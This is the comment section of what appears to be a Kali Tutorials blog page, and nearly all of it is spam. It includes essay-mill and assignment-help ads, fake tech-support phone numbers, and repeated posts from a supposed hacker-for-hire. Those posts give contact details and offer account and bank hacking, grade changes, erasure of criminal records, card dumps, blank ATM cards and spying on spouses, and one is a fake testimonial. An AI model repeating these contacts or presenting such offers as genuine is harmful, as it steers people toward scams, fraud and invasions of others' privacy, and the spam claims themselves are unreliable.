    Assignment help
    Java Assignment help

    ReplyDelete
  48. Excellent information Providing by your Article, thank you for taking the time to share with us such a nice article. Amazing insight you have on this, it's nice to find a website that details so much information about different artists. Kindly visit livewebtutors website we providing best assignment help services in Australia.
    Read more now :- My Assignment Help

    ReplyDelete
  49. If you are seeking support for performing AOL Desktop Gold Download. Just connect to us, we will understand your query with patience and provide you most legitimate solution.

    ReplyDelete
  50. Hello. Are you in need of a Hacker .I recommend elizabethjone146@gmail.com or WhatsApp +18573255825 I have used them and they are the best. They render services such as:
    skye hack
    -Facebook hack
    -Gmail hack
    -Twitter hack
    -WhatsApp hack
    -Mobile phone hack
    -iPhone hack and recovery
    -Database Hack
    -Retrival of lost files
    -Viber hack
    -Instagram Hack
    -Snapchat Hack
    -University grades changing
    -Bank account hack
    -Bypassing of Icloud
    -Verified Paypal account.

    ReplyDelete
  51. best hacker A hacker that can do all form of jobs you want is AVAILABLE read till the end for his EMAIL. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825
    1-DATABASE HACK
    2-WHATS-APP HACK
    3-WEBSITE HACK
    4-TRACKING CALLS
    5-PHONE CLONE
    6-FACEBOOK HACK
    7-CHANGE SCHOOL GRADE
    8-ONLINE RECORDS CHANGES
    9-BANK ACCOUNT HACK
    10-ERASE CRIMINAL RECORDS
    11-ONLINE HACKING LECTURES
    12-WORLD PRESS BLOGS HACK
    13-CONTROL DEVICES REMOTELY HACK
    14-SALES OF DUMPS CARDS & CC OF ALL KIND
    15-RETRIVAL OF HACKED SOCIAL MEDIA ACCOUNTS
    16-INCREASE CREDIT SCORE
    17.- CRACK YAHOO! MAIL PASSWORD
    18.- CRACK MSN / HOTMAIL PASSWORD
    19.- CRACK AOL/ AIM PASSWORD
    20.- CRACK GMAIL / GOOGLE PASSWORD
    21.- CRACK MySPACE PASSWORD
    22.- CRACK COMCAST PASSWORD
    23.- CRACK SBCBLOBAL PASSWORD
    24.- CRACK TISCALI PASSWORD
    25.- CRACK FRIENDSTER PASSWORD
    26.- CRACK FACEBOOK PASSWORD
    27.- CRACK MAIL.RU PASSWORD
    28.- CRACK RAMBLER PASSWORD
    29.- CRACK GMX PASSWORD
    30.- CRACK ROGERS PASSWORD
    31.- CRACK BTinternet PASSWORD
    Contact elizabethjone146@gmail.com
    WhatsApp +18573255825

    ReplyDelete
  52. I suggest everyone to choose My Assignment Help Australia for getting the best guidance in their academia. The proficient experts assist as per the requirements and learning styles desired by the university.

    ReplyDelete
  53. contact : elizabethjone146@gmail.com WhatsApp +18573255825 Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network? Do you need to retrieve your stolen bitcoin? Do you need to increase your credit score? Do you intend to upgrade your school grade? Do you need any information concerning any database. Do you need to retrieve deleted files? Do you need to clear your criminal records or DMV? Do you want to remove any site or link from any blog? you should contact this hacker, he is reliable and good at the hack jobs.. contact : elizabethjone146@gmail.com WhatsApp +18573255825

    ReplyDelete
  54. Many Students Need My Assignment Help . We have here provided the best and high-quality assignment for Australian Students at 30% off. You can easily contact us. also visit our website IdealAssignmentHelp

    ReplyDelete
  55. Nice Post..
    Unquestionably, HP Printers are the world-class printers featuring the most up-to-date technological innovations. That means it’s many repairs or fixes might be too complex for a novice person to handle. So, we suggest them to take assistance from the certified printer repair technicians. At HP Support center you will get the chance to get connected with technicians who will surely walk you through some basic troubleshooting steps by which you can easily able to resolve all of the frequent issues of HP Printers. Just grab this support as soon as you can and enjoy working with your printer.

    ReplyDelete
  56. The pressure of academic assignment can be quite a painful thing. So, if you are feeling wondering, “Who can help me in writing my papers?” then you can simply take the paper help from us at MyAssignmenthelp.com.
    We boast of a 5000+ strong team of paper writers who are highly qualified and have been providing paper writing help for the past ten years. They can help you submit well-written papers and score better grades. From elementary to high school, from college to university - we provide research paper writing service for all kind of papers.

    ReplyDelete
  57. Need essay help? Look no further than Allessaywriter.com. With more than a dozen years of experience in providing university essay help for students, we are best suited to attend to your every need. Here’s why:
    Our team of more than 5000 essay writers guarantees that your essay will be 100% plagiarism-free.
    They hail from the finest universities in Australia, so you know you’re getting your money’s worth.
    Speaking of money, we offer the most affordable essay help service there is. It is suited to the student.
    Not only that, we offer a 100% money-back guarantee in case you’re unsatisfied with our services.
    We’ve all been students ourselves, dependent on pocket money or slaving away at part-time jobs. We know what it’s like. So we’ve made our rates impossible to beat.

    ReplyDelete
  58. service Avast Antivirus Tech Support, Avast Antivirus Support, Avast Antivirus Upgrade, Avast Repair, Technical Support for Avast Avast Antivirus Help, Avast Troubleshooting, Repair Avast Antivirus, Fix Avast Antivirus, Avast Antivirus Installation, Avast Antivirus Removal, Avast Antivirus Technical Support.
    visit here
    https://www.justhelppro.com/avast-antivirus-technical-support/

    ReplyDelete
  59. Calling Quicken customer service faster by Get Human we also partner with a US-based live technical support firm that can I found your ad for Quicken on your website and Contact now for Quiken support issue. Quiken supportCustomer Support Number 1-856-269-2666 for instant resolve issues
    visit here..
    https://www.zedillon.com/quicken-mac-support/

    ReplyDelete

  60. Geek Squad Tech Support provides the best technical help and guidance. Get in touch with extensively trained tech support team for all sort of queries and issues regarding your devices. You can contact Geek Squad round the clock according to your convenience.

    ReplyDelete

  61. Get highly accurate, technology fixes for your electronic gadgets at Geek Squad Tech Support. Reach our experts at Geek Squad Tech Support to remove all complexities with your appliances.

    ReplyDelete

  62. Fix technical breakdown of all your electronics and appliances at Geek Squad Support. Reach the certified experts at Geek Squad Support for fixing any kind of technical bug with your devices. Best of services and assistance assured at support.

    ReplyDelete

  63. Fix technical breakdown of all your electronics and appliances at Geek Squad Support. Reach the certified experts at Geek Squad Support for fixing any kind of technical bug with your devices. Best of services and assistance assured at support.

    ReplyDelete

  64. Get the solutions to all the technical issues with all your electronic appliances at Geek Squad Tech Support. Avail wide no of services, on-site, and over the Internet via remote access and In-store, and also provides 24/7 telephone and emergency on-site support. Reach the experts at Geek Squad Support for removing all technical glitches with your devices

    ReplyDelete
  65. Canon MG3520 Wireless Setup is easy to do the process. Follow simple guidelines in an article for Canon MG3520 Setup. Reach our experts, in case of any issue.

    ReplyDelete
  66. contact best hacker elizabethjone146@gmail.com WhatsApp +18572012269
    My spouse has taken me for a fool and i guess its enough. My husband comes home with a blank whats-app, Facebook, text messages and all, though it got me thinking each time he comes home he clears all his chat, i talked to my friend about this and she referred me to elizabethjone146@gmail.com WhatsApp +18572012269
    which i contacted the hacker  and told him what i wanted which was all my husband deleted messages on his phone. in the next minutes this hacker brought all my husband deleted messages and i read all my husband has been hiding from me for the past 2 years. Thank you Elizabeth

    ReplyDelete

  67. MyAssignmentHelp has an exceptional panel of professional, expert writers from all over Australia, UK and etc. MyAssignmentHelp is the leading online assignment help service that have been successfully serving the students of Australia from a couple of years now.

    ReplyDelete
  68. All of such guidelines are really important that can help people to use password of any Wifi either it is protected by protocol or not. Most of cheap dissertation writing services make sure that they make improved password protection.

    ReplyDelete
  69. i have no any word for your appreciation your blog is very nice he is provide very nice information for your user i am also learn about. we have also a medical tourism company in india it is provide all type treatment like that Rotator Cuff Repair Treatment in India we are given of treatment is very low cost.

    ReplyDelete
  70. I have been working with First assignment help consultant service for 7 years as an Academic Writer. I provide assignment help service by Top Australian Assignment writing experts. You can Order online academic help, essay help, dissertation writing, programming help.

    ReplyDelete
  71. [Hack Yahoo Account Easy Hack Hotmail] New comment on Hack A Facebook Account For Free.
    H
    Hannah William
    to me
    1 minute agoDetails
    Hannah William has left a new comment on the post "Hack A Facebook Account For Free":

    best hacker contact elizabethjone146@gmail.com
    WhatsApp +18572012269
    Do you need a hacker to hack into your cheating ass account or do you want us to hack into the following account such as.
    facebook hack
    gmail hack
    whatsapp hack
    website hack
    tracking calls
    online hacking lectures
    phone clone
    online records changes
    retrival of hacked social media account
    ,emails,twitter and instagram hack
    recovering deleted app messages

    ATM merchine hack/password from any Email Address.
    Get any password from any Facebook, Twitter or Instagram account.
    Cell phone hacking (whatsapp, viber, line, wechat, etc)
    Grades changes (institutes and universities)
    Websites hacking, pentesting.
    IP addresses and people tracking.
    Hacking courses and classes.
    blank ATM CARD.
    contact elizabethjone146@gmail.com
    WhatsApp +18572012269

    ReplyDelete
  72. MyAssignmentHelp is the best assignment help website that is available for the students in Australia where they can avail my assignment help australia. It provides best assignment services not only to the students residing in Australia but also to the students living outside the country.

    ReplyDelete
  73. Calling Quicken customer service faster by Get Human we also partner with a US-based live technical support firm that can I found your ad for Quicken on your website and Contact now for Quicken support issue. Quicken support Customer Support Number 1-856-269-2666 for instant resolve issues

    visit here:: Quicken Mobile App Support

    ReplyDelete
  74. The mentioned points in this guide are very informative and helped me to resolve my issue in a very proficient manner. At the time of solving my query I got stuck at one point, so I called at outlook Support Phone number and the technician who answered my call guided me thoroughly to get rid of my issue. I really appreciate the hardworking of that guy, who helped me during my crisis of time and never leave my side until problem didn’t get resolved. Therefore, I personally suggest everyone to get hold of Microsoft outlook Support if you really want to resolve your query related to your Outlook.
    How do I call Outlook support?
    Is there a phone number for Outlook support?
    How do I contact Hotmail Support?
    Is there a phone number for Hotmail support?
    Change Hotmail Password
    hotmail change password
    change microsoft password
    Is There A Phone Number For Microsoft Windows Support?
    How Do I Contact Microsoft Windows Support?
    How to Contact Microsoft Windows Tech Support?
    Windows support
    Microsoft windows support

    ReplyDelete
  75. best hacker
    contact elizabethjone146@gmail.com
    WhatsApp +18572012269 
    Hello everyone,
    Have you ever needed an expert when it comes to hacking?
    Have you ever wanted to hack someone’s email account?
    Recover lost accounts,school grade,boost credit score?
    Do you need to find a person’s sensitive information?
    Do you want to invade a person’s PayPal, Skrill, Amazon, Facebook or any other site account?
    Upgrade of University Grades,Password and email Retrieval,
    phone Lines monitoring, Skype Accounts, Hack Social Network, Trace calls on real time
    conversations,
    Remove Criminal Records,
    Credit Fixing, cyber-crime investigation,
    Hack Bank Accounts, Identification of Cheating
    Partner or employee,Then contact elizabethjone146@gmail.com
    WhatsApp +18572012269 best hacker 

    ReplyDelete
  76. I am a freelancer and have been helping a lot of students in providing assistance to students who frequently gets worried about their assessment tasks and went online to search for Assignment Help Service terms.
    We at My Assignment Services have potentially recognized the need way back and started what we are an enlarged version of then. With many assignment helper companies in the market, no one has quite able to match the standard that we follow. We give utmost priority to students by strictly adhering to the assignment requirements as well as marking rubrics to score high grades. Our Law Assignment Help writers are well-proficient in not only comprehending your assessment tasks but also to give an expert finish to it.
    Provided a well-written assignment suitable to your needs, your search for Psychology Assignment Help will now end with My Assignment Services. You just have to visit our website for more information.

    ReplyDelete
  77. Excellent information Providing by your Article, thank you for taking the time to share with us such a nice article. Amazing insight you have on this, it's nice to find a website that details so much information about different artists. Kindly visit livewebtutors website we providing the best assignment help services in Australia.
    Read more now :- Nursing Assignment Help

    ReplyDelete

© Kali Tutorials, 2016. Unauthorized use and/or duplication of this material without express and written permission from this site’s author and/or owner is strictly prohibited. Excerpts and links may be used, provided that full and clear credit is given to Shashwat Chaudhary and Kali Tutorials with appropriate and specific direction to the original content.
Bitcoin: 1B5aLqJcMW7zznffTxQwta8JTZsxBDPguC